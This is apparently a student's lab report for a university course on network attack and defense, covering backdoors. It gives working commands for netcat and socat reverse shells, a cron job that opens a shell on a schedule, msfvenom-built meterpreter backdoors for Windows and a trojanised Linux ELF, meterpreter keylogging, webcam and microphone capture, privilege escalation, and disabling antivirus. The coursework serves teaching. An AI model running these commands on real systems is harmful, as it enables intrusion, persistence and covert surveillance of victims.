20222305 2024-2025-1 《网络与系统攻防技术》实验二实验报告

网络攻防实验报告

姓名:田青

学号:20222305

实验日期:2024/10/16 — 2024/10/23

实验名称:后门原理与实践

指导教师:王志强


1.实验内容

本周学习内容总结::

后门概念:不经过正常认证流程而访问系统的通道。
后门类型:编译器后门、操作系统后门、应用程序后门、潜伏于操作系统中或伪装为特定应用的专用后门程序。
以及一些造成重大损失的案例。

实验要求:

掌握后门原理及免杀技术
回答问题

(1)例举你能想到的一个后门进入到你系统中的可能方式?
恶意软件、利用未修补漏洞、远程桌面协议(RDP)攻击。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
Win:恶意软件安装、注册表修改、任务调度、DLL注入;
Linux:shell脚本、Cron任务、TCP、IP监听。
(3)Meterpreter有哪些给你映像深刻的功能?
好多指令都需要特定格式,生成的文件有时候不适配,必须要掌握好它才能发挥出全部实力。
(4)如何发现自己有系统有没有被安装后门?
使用Wireshark监控网络流量;使用msconfig检查启动项;使用任务管理器查看进程。

2.实验过程

2.1实践目标

(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)

PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程

(2)使用socat获取主机操作Shell, 任务计划启动

(3)使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权

(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

2.2实验过程

2.2-1.1查询主机IP与虚拟机IP

注意:实验分三次做完主机IP和虚拟机IP都变过详情见指令。
ipconfig
image
ifconfig
image

2.2-1.2下载ncat并配置环境

image

2.2-1.3Win获得Linux Shell

windows打开监听:
ncat.exe -l -p 2305
Linux反弹连接win:
nc 192.168.31.102 2305 -e /bin/sh
image

windows下获得一个linux shell,可运行任何指令,如ls:
ls
image

2.2-1.4 Linux获得Win Shell(拓展)

Linux输:
/var/www/html
再输:
nc -l -p 2305
WIN:
ncat.exe -e cmd.exe 192.168.31.14 2305
Linux:
nc -l -p 2305
会出现:

点击查看代码
Microsoft Windows [�汾 10.0.22631.4317]
(c) Microsoft Corporation����������Ȩ����

C:\Users\86136>
####2.2-1.5通过设置cron使得kali启动定时任务 kali进入root `crontab -e`并选择2:/usr/bin/vim.basic 点击i,并插入`30* * * * /bin/netcat 192.168.39.218 2305 -e /bin/sh`(输入自己主机的IP地址,在每小时的第30分钟启动任务) 输入`crontab -l`查看时程表: ![image](https://img2024.cnblogs.com/blog/3528208/202410/3528208-20241019100824368-1105110578.png) 同时在Linux主机中的/var/spool/cron/crontabs文件中会出现一个root文件:

image
回到win,写入文件:
echo "* * * * * echo "tianqing" > /home/tq/20222305.txt" > /var/spool/cron/crontabs/root
image
查询虚拟机对应文件夹,发现修改成功
image

2.2-2.1使用socat获取主机操作Shell, 任务计划启动

下载socat
image
win主机输入:socat.exe tcp-listen:2305 exec:cmd.exe,pty,stderr
image
Linux输:socat - tcp:192.168.39.218:2305
image

2.2-2.2准备程序

一个简单的打开edge浏览器代码

点击查看代码
#include <stdlib.h>

int main() {
    // 使用 system 函数调用打开 Edge 浏览器
    system("start msedge");

    return 0;
}

Win输:schtasks /create /sc minute /mo 1 /tn "20222305" /tr C:\Users\86136\Desktop\20222305.exe
20222305:进程名
C:\Users\86136\Desktop\20222305.exe:文件在主机的地址

2.2-2.3在命令行和计算机管理任务计划程序中观察到

image

image

2.2-3.1在Linux下使用MSF meterpreter生成可执行文件,利用ncat或socat传送到Windows主机并运行获取主机shell

关闭防火墙和实时保护:
image
生成病毒文件:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.14 LPORT=8888 -f exe > 2305backdoor.exe
LHOST=192.168.31.14是虚拟机地址;
LPORT=8888是攻击者的系统上监听的端口号;
-f exe指定了生成的 payload 的格式,这里是exe;
20222305backdoor.exe即生成的恶意可执行文件
image

2.2-3.2将后门文件传输至目标主机并将生成的后门文件2305backdoor.exe传给主机

win输入:
ncat.exe -lv 8888 > "C:\Users\86136\Desktop\2305backdoor.exe"
image
Linux输入:
nc 192.168.31.101 8888 < 2305backdoor.exe
在win桌面发现:
image

2.2-3.3配置监听模块

回到虚拟机输入命令
msfconsole
进行配置:
use exploit/multi/handler(使用监听模块,设置payload)
set payload windows/meterpreter/reverse_tcp (使用和生成后门程序时相同的payload)
set LHOST 192.168.31.14 (攻击机的IP地址,和生成后门程序时指定的IP相同)
set LPORT 8888(监听的端口)
接着输入exploit,使监听模块开始运行,并在Windows终端运行后门2305backdoor.exe文件
回虚拟机输入ls
发现成功了
image

2.2-4.1使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

获取目标主机音频、截屏、摄像头、键盘记录
在exploit模块中继续输入以下命令:
record_mic   (音频)
screenshot   (截屏)
webcam_snap (拍照)
keyscan_start (开始读取键盘记录)
keyscan_dump (读取键盘记录结束)

image
屏幕截图与镜头照片:
image

2.2-4.2提权

确保windows的cmd指令是使用管理员身份运行的,继续在exploit模块中继续输入:
getuid (查看当前用户)
getsystem (提权指令)
image

2.2-5.1使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

在虚拟机中输入:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.31.14 LPORT=8888 -x /home/tq/Desktop/pwn1 -f elf -o 20222305_pwn
命令详解:
-p linux/x86/meterpreter/reverse_tcp:指定生成的有效载荷。
LHOST=192.168.31.14:设置反向连接的主机地址。
LPORT=8888:设置反向连接的端口。
-x /home/tq/Desktop/pwn1:指定要修改的现有可执行文件的路径。
-f elf:指定输出格式为 ELF(Linux 可执行文件)。
-o 20222305_pwn:指定输出文件名。
对生成的20222305_pwn文件赋予权限:
chmod a+x 20222305_pwn
image

2.2-5.2重现监听过程:

image
打开另一个shell,运行生成的20222305_pwn文件(需要使用root权限)

2.2-5.3回到第一个shell,输入ls确认连接,成功实现远程控制shell

image

3.问题及解决方案

  • 问题1:无法输入指令nc
    image

  • 问题1解决方案:nc不是windows下的指令,需要输入ncat.exe来运行。

  • 问题2:uname命令无法使用

image

  • 问题2解决方案:在linux中用指令打开文件。

  • 问题3:拒绝连接
    image

  • 问题3解决方案:这是一个顺序问题必须虚拟机挂上指令后再连。

  • 问题4:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.14 LPORT=8888 -f exe > 2305backdoor.exe生成的2305backdoor.exe无法使用

  • 问题4解决方案:很多人都会去考虑架构问题,其实不然,关键在于权限不够,只要以管理员身份运行命令提示符就行。

  • 问题5:提权时连接超时
    image

  • 问题5解决方案:输入sessions --interact 1 --timeout 60并等待一段时间。

  • 问题6:Msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.31.14
    LPORT=8888 -x /root/Desktop/pwn1 -f elf > 20222305_pwn中:“-x”用不了
    image

  • 问题6解决方案:改成命令“msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.31.14 LPORT=8888 -x /home/tq/Desktop/pwn1 -f elf -o 20222305_pwn”调整了“-x”格式。

4.学习感悟、思考等

遇到的困难和问题很多,与同学探讨很多都找不到答案,但只需要用管理员身份运行或者关闭防火墙和实时病毒监控,按照指导书再做一遍就好了;很神奇,但也反映出来一件问题就是,只要黑客获得电脑的最高权限,你就在劫难逃,他可以很轻松的关闭所有防护,运行任何电脑上的程序,如入无人之境。我们一定要牢牢抓住主权,不要贪小便宜,落入社会工程攻击的陷阱,否则就会沦为“阶下囚”。同时通过这些实验,我深入理解了如何利用多种工具进行渗透测试和后门创建。这不仅让我认识到网络安全的复杂性,也让我意识到实施这些技术的道德责任和法律后果。我们应当将这些技能应用于合法的安全测试和防御,而不是用于恶意目的。同时,掌握这些技术也帮助我更好地理解如何保护系统免受这些攻击。

参考资料

posted on 2024-10-19 11:11  20222305田青  阅读(12)  评论(0编辑  收藏  举报